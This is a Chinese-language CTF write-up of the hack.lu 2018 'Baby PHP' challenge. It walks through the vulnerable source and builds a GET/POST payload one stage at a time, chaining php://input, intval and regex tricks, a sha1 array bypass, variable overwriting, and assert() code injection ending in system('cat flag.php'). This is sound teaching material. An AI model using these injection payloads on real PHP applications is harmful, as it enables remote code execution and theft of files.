前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >hacklu CTF 2018 Baby PHP

hacklu CTF 2018 Baby PHP

作者头像
安恒网络空间安全讲武堂
发布2018-11-22 16:06:27
1.2K0
发布2018-11-22 16:06:27
举报

Baby PHP

核心代码

打开后给了代码:

代码语言:javascript
复制
 <?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
    die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;  

阶段一

代码语言:javascript
复制
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

过file_get_contents()用到了php伪协议。https://www.lorexxar.cn/2016/09/14/php-wei/。只要通过php://input来读取POST里的数据就可以。 所以构造payload:

代码语言:javascript
复制
?msg=php://input
post:Hello Challenge!

阶段二

代码语言:javascript
复制
$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

接下来要绕过intval()函数。 这里k1变量要经过intval()后不与cc=1337相同,但是本身k1要与c1相同。 下面看一些变量被intval()后的例子:

代码语言:javascript
复制
<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

这里参照echo intval(042); // 34,把,构造payload:

代码语言:javascript
复制
?msg=php://input&key1=01337

这样int(01337)会变成八进制,不与cc相同。但是k1又是等于cc的。

阶段三

代码语言:javascript
复制
if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

首先要求strlen($k2) == $bb,bb=42。 然后要满足正则。这里的这个是美元符号,而不是正则表达式里的行尾铆钉符$。 最后要要求k2==cc。这里是弱比较。 来测试以下:

代码语言:javascript
复制
<?php
        $cc = 1337;
        $k2='00000000000000000000000000000000000001337$';
        var_dump(preg_match('/^\d+$/', $k2));
        var_dump(!is_numeric($k2));
        var_dump($k2 == $cc);
        var_dump($k2);
?>

变量k2等于cc的原因就是PHP的恐龙特性。 于是构造payload:

代码语言:javascript
复制
?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$
post:Hello Challenge!

然后就可以对cc进行赋值了。

阶段四

代码语言:javascript
复制
list($k1,$k2) = [$k2, $k1];

list($k1,$k2) = [$k2, $k1];这一步交换了k1k2的值。

代码语言:javascript
复制
if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

substr()函数将截取cc42位后,要与sha1($cc)相同。 sha1()可以用数组绕过。所以构造cc[1]=1,两个同时为null就绕过了。

构造payload:

代码语言:javascript
复制
?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1
post:Hello Challenge!

之后就存在变量覆盖的问题,可以参考文章:https://www.cnblogs.com/xiaozi/p/7768580.html。此时我们对任何参数是可控的。

阶段五
代码语言:javascript
复制
$‮b = "2";$a="‮b";//;1=b

这里a=b,b=1

代码语言:javascript
复制
if($$a !== $k1){
    die("lel no\n");
}

$$a取值就为$bb为1,传参k1=1即可。 现在的payload为:

代码语言:javascript
复制
?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1&k1=2
post:Hello Challenge!

阶段六

代码语言:javascript
复制
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

最后的assert()函数可用来执行代码。可以参考:https://www.cnblogs.com/xiaozi/p/7834367.html。 可以看到这里的输出flag已经被注释掉了,需要自己去输出。 构造bb=system('cat flag.php');//即可。 最后的payload:

代码语言:javascript
复制
?msg=php://input&key1=01337&key2=00000000000000000000000000000000000001337$&cc[1]=1&k1=2&bb=system('cat flag.php');//
POST:Hello Challenge!

得到flag。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-10-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Baby PHP
    • 核心代码
      • 阶段一
        • 阶段二
          • 阶段三
            • 阶段四
              • 阶段五
            • 阶段六
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档